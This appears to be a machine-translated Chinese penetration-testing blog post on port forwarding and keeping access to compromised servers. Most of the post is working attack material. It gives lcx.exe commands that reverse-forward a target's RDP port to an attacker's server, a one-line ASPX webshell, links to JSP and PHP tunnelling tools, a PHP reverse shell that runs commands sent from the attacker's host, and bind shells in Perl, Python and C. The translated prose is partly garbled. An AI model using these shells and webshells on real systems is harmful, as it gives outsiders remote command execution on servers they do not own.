端口转发各种姿势

CracerCracer 2015-12-23 渗透测试 930 0 2

55555一、样本baklinks“LCX .exe”

该程序只能在Windows服务器上运行,该程序可以链接到另一个服务器的3389。

开听端口(如3333)使用lcx.exe在本地服务器上,并连接3333端口4444端口的地方:

lcx.exe L 3333 4444

然后命令LCX服务器上的远程桌面端口3389,反向链接

1
lcx.exe -s your-server-ip 3333 127.0.0.1 3389

1

像这样的连接:

1
 target-3389 <> remote-lcx <> your-server-3333 <> your-server-4444
如果成功,连接127.0.0.1:4444平等的目标:3389

二。使用ASPX脚本反向远程端口

使用前应做以下,对目标一个ASPX webshell,并可以运行良好

1
2
<%@ Page Language="C#" ValidateRequest="false" %>
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["psw"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

利用一个网络机LCX
在末端设置

2

or

3

图片backlinked 14147端口,和其他没有区别。
利用JSP脚本与插座
JSP脚本可以在这里下载:

1
 http://attach.blackbap.org/down/wzaq/jspdkzf.rar

服务器应该支持Java环境,使用如下:

1
target/jspdkzf.jsp?localIP=127.0.0.1&localPort=3389&remoteIP=your-server-ip-address&remotePort=3333

这个脚本也可以反向链接3306(MySQL的默认端口),22(SSH默认端口)的…

三、采用PHP脚本与插座

脚本支持WIN服务器和Linux服务器,它负载插座封装dl()函数,代码如下:

Host:
Port:Linux Windows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
SILIC;
}
if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');}
else{$env = array('PATH'=>'/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');}
$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"),);
$host=gethostbyname($host);
$proto=getprotobyname("tcp");
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket Creat Failed");}
if(($ret=socket_connect($sock,$host,$port))<0){die("Connect Failed");}
else{
$message="-------------PHP Backlink, Silic Security-------------\\n";
socket_write($sock,$message,strlen($message));
$cwd=str_replace('\','/',dirname(__FILE__));
while($cmd=socket_read($sock,65535,$proto)){
if(trim(strtolower($cmd))=="exit"){socket_write($sock,"Bye\n");exit;}
else{
$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
if(is_resource($process)){
fwrite($pipes[0], $cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg=stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
$return_value = proc_close($process);
}
}
}
}
}
@phpsocket();
?>

主机的形式是您的服务器的地址,端口的形式是您收听您的服务器。

4

在代码中的外壳可以更改。
80 / 443端口复用和特权升级
这里是工具,它支持ASPX、PHP和JSP脚本。

1
attach.blackbap.org/down/yclj/reDuh.rar

URL是reduh服务器webshell,远程主机可以使用默认(127.0.0.1),远程端口是你所希望的反向链接

5

使用规则的任何端口(默认端口1234),然后创建程序的连接,连接本地的默认端口1234
与当地的软件或Telnet或任何程序可以连接连接。
(图片使用了错误的外壳为目标)

四、绑定一个端口在目标服务器

Perl脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/perl
$os = $^O;
$SHELL="/bin/sh";
if($os =~ m/win/i){ $SHELL="%COMSPEC% /K";}
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die("error\n");
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die("error\n");
listen(S,3) || die "";
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die "Cannot fork" if (!defined $pid);
open STDIN,"<&CONN";
open STDOUT,">&CONN";
open STDERR,">&CONN";
exec $SHELL || die("error\n");
close CONN;
exit 0;
}
}

Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python
import os, sys, socket, time
MAX_LEN=1024
SHELL="/bin/bash -c"
TIME_OUT=300
PORT=""
HOST=""
def shell(cmd):
sh_out=os.popen(SHELL+" "+cmd).readlines()
nsh_out=""
for i in range(len(sh_out)):
nsh_out+=sh_out[i]
return nsh_out
def action(conn):
while True:
try:
pcmd=conn.recv(MAX_LEN)
except:
print("error\n")
return True
else:
cmd=""
for i in range(len(pcmd)-1):
cmd+=pcmd[i]
if cmd==":dc":
return True
elif cmd==":sd":
return False
else:
if len(cmd)>0:
out=shell(cmd)
conn.send(out)
argv=sys.argv
if len(argv)==2:
PORT=argv[1]
elif len(argv)==3:
PORT=argv[1]
HOST=argv[2]
else: exit(1)
PORT=int(PORT)
if os.fork()!=0:
sys.exit(0)
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(TIME_OUT)
if len(argv)==2:
sock.bind(('localhost', PORT))
sock.listen(0)
run=True
while run:
if len(argv)==3:
try: sock.connect((HOST, PORT))
except:
print("error\n")
time.sleep(5)
else: run=action(sock)
else:
try: (conn,addr)=sock.accept()
except:
print("error\n")
time.sleep(1)
else: run=action(conn)
if len(argv)==2: conn.shutdown(2)
else:
try: sock.send("")
except: time.sleep(1)
else: sock.shutdown(2)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include
#include
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include
int main(argc,argv)
int argc;
char **argv;{
int sockfd, newfd;
struct sockaddr_in remote;
if(fork() == 0) {
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[1]));
remote.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if(!sockfd) perror("error\n");
bind(sockfd,(struct sockaddr *)&remote, 0x10);
listen(sockfd,5);
while(1){
newfd=accept(sockfd,0,0);
dup2(newfd,0);
dup2(newfd,1);
dup2(newfd,2);
execl("/bin/sh","sh",(char *)0);
close(newfd);
}
}
}
int chpass(char *base, char *entered){
int i;
for(i=0;i<strlen(entered);i++)
{
if(entered[i] == '\n')
entered[i] = '\0';
if(entered[i] == '\r')
entered[i] = '\0';
}
if (!strcmp(base,entered))
return 0;
}

用法相同

1
script target port

C脚本是最好的(我认为),开结合壳/命令行端口转发和webshell,特权升级是一个很好的方法,拥有一个目标。

转载请注明来自Cracer,本文标题:《端口转发各种姿势》

喜欢 (2) 发布评论
发表评论


Top